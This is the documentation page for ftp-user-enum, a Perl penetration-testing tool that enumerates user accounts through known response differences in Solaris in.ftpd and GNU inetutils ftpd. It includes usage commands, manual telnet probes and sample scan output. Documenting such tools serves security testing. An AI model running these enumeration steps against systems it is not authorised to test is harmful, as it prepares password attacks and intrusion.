ftp-user-enum

Username guessing tool for use against the default Solaris ftp service and GNU inetutils ftpd.  Recent changes are detailed in the CHANGELOG.

Download ftp-user-enum v1.0 here.

SHA1sum: 2fbd86dba9f701627d415ed76100b2768b271862

MD51sum: c19ec3eb1eab6282a16514b51eb5f1c6

User documentation are also avaialble in PDF format.

 

ftp-user-enum User Documentation

 

Contents

  • Overview
  • Installation
  • Usage
  • Some Examples
    • Against Solaris in.ftpd
    • Against GNU inetutils ftpd
  • License

 

Overview

ftp-user-enum is a tool for enumerating OS-level user accounts via the ftp service. As of release v1.0 it is known to work against the default Solaris in.ftpd and GNU inetutils ftpd. It should be fairly simple to modify to script to work against other vulnerable ftp servers such as:

BlackMoon FTP Server http://xforce.iss.net/xforce/xfdb/12046
ArGoSoft FTP Server http://xforce.iss.net/xforce/xfdb/18721
MegaBrowser FTP Server http://www.securityfocus.com/archive/1/323813

Installation

ftp-user-enum is just a stand alone PERL script, so installation is as simple as copying it to your path (e.g. /usr/local/bin). It has only been tested under Linux so far.

It depends on the following PERL modules which you may need to install them first:

  • Socket
  • IO::Handle
  • IO::Select
  • IO::Socket::INET
  • Getopt::Std

If you have PERL installed, you should be able to install the modules from CPAN:

 # perl -MCPAN -e shell
 cpan> install Getopt::Std

Usage

ftp-user-enum simply needs to be passed a list of users and at least one target running an ftp service. Here’s the usage message:

 Usage: ftp-user-enum.pl [options] (-u username|-U file-of-usernames) (-t host|-T file-of-targets) 

 Enumerates users via FTP daemon specific bugs:
 - Solaris FTPd responds differently to "CWD ~user" and "CWD ~nosuchuser" commands
 - GNU Inetutils responds differently "USER user" and "USER nosuchuser" commands 

 options are:
         -m n     Maximum number of resolver processes (default: 5)
         -u user  Check if user exists on remote system
         -U file  File of usernames to check via ftp service
         -M mode  Mode for enumerating users: "sol" for Solaris FTPd or
                 "iu" GNU Inetutils ftpd.  Default (default: sol)
         -t host  Server host running ftp service
         -T file  File of hostnames running the ftp service
         -p port  TCP port on which ftp service runs (default: 21)
         -d       Debugging output
         -t n     Wait a maximum of n seconds for reply (default: 15)
         -v       Verbose
         -h       This help message 

 Also see ftp-user-enum-user-docs.pdf in the ftp-user-enum tar ball. 

 Examples: 

 1) Enumerate users on a vulnerable Solaris host: 

 $ ftp-user-enum.pl -M sol -U users.txt -t 10.0.0.1 

 2) Enumerate users on a list of hosts running vulnerable Inetutils FTPd: 

 $ ftp-user-enum.pl -M iu -U users.txt -T ips.txt

Some Examples

For the examples below we need a list of potential usernames. The following output demostrates the format for this list:

 $ head users.txt
 root
 bin
 daemon
 adm
 lp
 sync
 shutdown
 halt
 mail
 news

Against Solaris in.ftpd

Vulnerable versions of in.ftpd return different responses to the CWD for home directories which exist and those that don’t. CWD commands can be issued before authentication:

  $ telnet 10.0.0.1 21
 Trying 10.0.0.1...
 Connected to 10.0.0.1.
 Escape character is '^]'.
 220 test FTP server (SunOS 5.7) ready.
 CWD ~root
 530 Please login with USER and PASS.
 CWD ~notexist
 530 Please login with USER and PASS.
 550 Unknown user name after ~

This vulnerability is documented at: http://www.securityfocus.com/bid/2564/info

Below is an example showing how to use ftp-user-enum to enumerate users using a vulnerable solaris FTP daemon:

 $ ftp-user-enum.pl -U users.txt -t 10.0.0.1
 Starting ftp-user-enum v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum ) 

  ----------------------------------------------------------
 |                   Scan Information                       |
  ---------------------------------------------------------- 

 Mode ..................... sol
 Worker Processes ......... 5
 Usernames file ........... users.txt
 Target count ............. 1
 Username count ........... 149
 Target TCP port .......... 21
 Query timeout ............ 15 secs 

 ######## Scan started at Sat Mar 17 16:23:35 2007 #########
 root@10.0.0.1: root
 bin@10.0.0.1: bin
 daemon@10.0.0.1: daemon
 adm@10.0.0.1: adm
 lp@10.0.0.1: lp
 uucp@10.0.0.1: uucp
 nobody@10.0.0.1: nobody
 ftp@10.0.0.1: ftp
 ######## Scan completed at Sat Mar 17 16:24:06 2007 #########
 8 results. 

 149 queries in 31 seconds (4.8 queries / sec)

Against GNU inetutils ftpd

Vulnerable versions of GNU inetutils ftpd respond to the USER command differently depending on whether it is used with a username that exists or one that doesn’t exist:

 $ telnet 10.0.0.2 21
 Trying 10.0.0.2...
 Connected to 10.0.0.2.
 Escape character is '^]'.
 220 localhost.localdomain FTP server (GNU inetutils 1.4.2) ready.
 USER root
 331 Password required for root.
 USER notexist
 530 44

Here’s an example showing how to use ftp-user-enum to enumerate users using a vulnerable GNU inetutils daemon:

 $ ./ftp-user-enum.pl -M iu -U users.txt -t 10.0.0.2
 Starting ftp-user-enum v1.0 ( http://pentestmonkey.net/tools/ftp-user-enum ) 

  ----------------------------------------------------------
 |                   Scan Information                       |
  ---------------------------------------------------------- 

 Mode ..................... iu
 Worker Processes ......... 5
 Usernames file ........... users.txt
 Target count ............. 1
 Username count ........... 149
 Target TCP port .......... 21
 Query timeout ............ 15 secs 

 ######## Scan started at Sat Mar 17 16:29:28 2007 #########
 lp@10.0.0.2: lp
 sync@10.0.0.2: sync
 mail@10.0.0.2: mail
 root@10.0.0.2: root
 news@10.0.0.2: news
 uucp@10.0.0.2: uucp
 man@10.0.0.2: man
 user@10.0.0.2: user
 postgres@10.0.0.2: postgres
 nobody@10.0.0.2: nobody
 sshd@10.0.0.2: sshd
 games@10.0.0.2: games
 bin@10.0.0.2: bin
 daemon@10.0.0.2: daemon
 ######## Scan completed at Sat Mar 17 16:29:29 2007 #########
 14 results. 

 149 queries in 1 seconds (149.0 queries / sec)

Performance note: The FTP server tries to do a reverse lookup on the IP address of the client. If the lookup is slow, your scan will be slow too.

License

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

In all other respects the GPL version 2 applies:

 This program is free software; you can redistribute it and/or modify
 it under the terms of the GNU General Public License version 2 as
 published by the Free Software Foundation. 

 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details. 

 You should have received a copy of the GNU General Public License along
 with this program; if not, write to the Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

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Posted in User Enumeration